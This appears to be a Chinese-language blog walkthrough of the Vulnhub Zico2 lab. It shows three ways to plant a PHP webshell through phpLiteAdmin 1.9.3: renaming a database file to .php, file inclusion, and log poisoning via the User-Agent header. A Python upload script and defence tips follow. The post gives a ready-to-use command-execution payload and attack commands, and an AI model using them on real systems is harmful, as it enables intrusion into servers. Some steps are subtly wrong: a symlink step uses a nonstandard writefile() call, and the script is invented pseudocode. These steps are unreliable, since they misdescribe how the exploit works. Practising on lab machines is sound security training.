Vulnhub Zico2 靶场:phpLiteAdmin 1.9.3 数据库文件写入 Webshell 的 3 种利用方式

发布时间:2026/7/8 20:11:16
Vulnhub Zico2 靶场:phpLiteAdmin 1.9.3 数据库文件写入 Webshell 的 3 种利用方式 Vulnhub Zico2 靶场phpLiteAdmin 1.9.3 数据库文件写入 Webshell 的 3 种利用方式在渗透测试的学习过程中Vulnhub 靶场一直是安全爱好者们练习实战技能的绝佳平台。Zico2 靶机作为其中一台中等难度的靶机提供了一个非常有趣的漏洞场景——通过 phpLiteAdmin 1.9.3 数据库管理工具实现 Webshell 写入。本文将深入探讨这一漏洞的三种不同利用方式帮助安全研究人员全面理解这一攻击向量。1. 漏洞背景与环境准备phpLiteAdmin 是一个轻量级的 SQLite 数据库管理工具类似于 phpMyAdmin 但专为 SQLite 设计。在 Zico2 靶机中该工具的 1.9.3 版本存在一个关键漏洞允许攻击者通过数据库操作写入 PHP 代码并执行。实验环境准备靶机Vulnhub Zico2 (IP: 192.168.x.x)攻击机Kali Linux 或其他渗透测试发行版网络配置确保靶机与攻击机在同一网络段首先我们需要识别靶机上的 phpLiteAdmin 服务。通过基本的端口扫描和目录爆破通常可以发现该服务位于/dbadmin目录下nmap -sV -p- 192.168.x.x dirb http://192.168.x.x2. 直接数据库文件写入法这是最直接的利用方式通过 phpLiteAdmin 的界面操作直接创建包含恶意代码的数据库文件。操作步骤访问 phpLiteAdmin 界面通常无需认证或使用弱口令即可登录创建新数据库如shell.db在新数据库中创建表如evil添加一个 TEXT 类型的字段在该字段中插入 PHP 代码?php system($_GET[cmd]); ?将数据库文件重命名为.php扩展名如shell.php访问该文件执行命令http://192.168.x.x/dbadmin/shell.php?cmdid关键技巧某些版本可能需要使用相对路径重命名文件才能生效如果直接访问不成功可以尝试通过 LFI本地文件包含漏洞包含该文件3. 文件包含结合数据库写入法当直接访问写入的 Webshell 受限时可以结合靶机上可能存在的文件包含漏洞实现代码执行。实施流程首先按照方法一创建包含恶意代码的数据库文件识别靶机上的文件包含漏洞点常见于 PHP 应用的参数如?page通过文件包含执行数据库中的代码http://192.168.x.x/index.php?page../dbadmin/shell.db传递命令参数http://192.168.x.x/index.php?page../dbadmin/shell.dbcmdwhoami优势绕过直接访问限制更隐蔽不易被常规防护措施发现4. 路径穿越结合日志污染法当上述方法都受限时可以尝试更复杂的路径穿越结合日志污染技术。详细步骤确定 phpLiteAdmin 的实际安装路径如/var/www/html/dbadmin通过 User-Agent 或其他可控制的输入污染日志文件curl -A ?php system($_GET[cmd]); ? http://192.168.x.x/使用 phpLiteAdmin 创建指向日志文件的符号链接CREATE TABLE evil (data TEXT); INSERT INTO evil VALUES (?php system($_GET[cmd]); ?); SELECT writefile(/var/www/html/dbadmin/access.php, /var/log/apache2/access.log);访问污染的日志文件执行代码http://192.168.x.x/dbadmin/access.php?cmdid注意事项需要了解目标服务器的日志路径和权限设置可能需要多次尝试才能成功5. 自动化利用脚本示例为了简化利用过程可以编写简单的自动化脚本。以下是 Python 伪代码示例import requests target http://192.168.x.x/dbadmin/ shell_name backdoor.php php_code ?php system($_GET[cmd]); ? # 创建数据库 requests.post(target phpLiteAdmin.php, data{ action: create_db, dbname: shell_name.replace(.php, ) }) # 创建表并插入代码 requests.post(target phpLiteAdmin.php, data{ action: add_table, table: evil, field: code TEXT, value: php_code }) # 重命名文件 requests.get(target phpLiteAdmin.php?actionrenamenew shell_name) print(fWebshell 已上传: {target shell_name})6. 防御建议与修复方案了解攻击手段后我们更应该关注如何防御此类漏洞1. 权限控制为 phpLiteAdmin 设置强密码认证限制数据库文件的写入目录和权限2. 配置加固禁用危险函数如system()、exec()设置open_basedir限制 PHP 可访问的目录3. 更新与替代升级到最新版本的 phpLiteAdmin考虑使用更安全的数据库管理工具4. 监控措施监控异常数据库文件创建行为检查日志中的可疑 PHP 代码片段7. 漏洞原理深度分析这个漏洞的核心在于 phpLiteAdmin 对用户输入的处理不当具体表现在缺乏输入过滤未对数据库内容进行严格的代码检测不安全的文件操作允许用户控制文件扩展名和存储位置默认配置不安全早期版本默认安装缺少必要的安全防护从技术角度看攻击者利用了以下 PHP 特性PHP 会解析任何包含 PHP 代码的文件无论其扩展名是什么SQLite 数据库文件本质上是普通文件可以被 PHP 解释器解析Web 服务器通常配置为允许执行特定目录下的 PHP 文件理解这些底层原理有助于我们发现和防御类似的安全问题。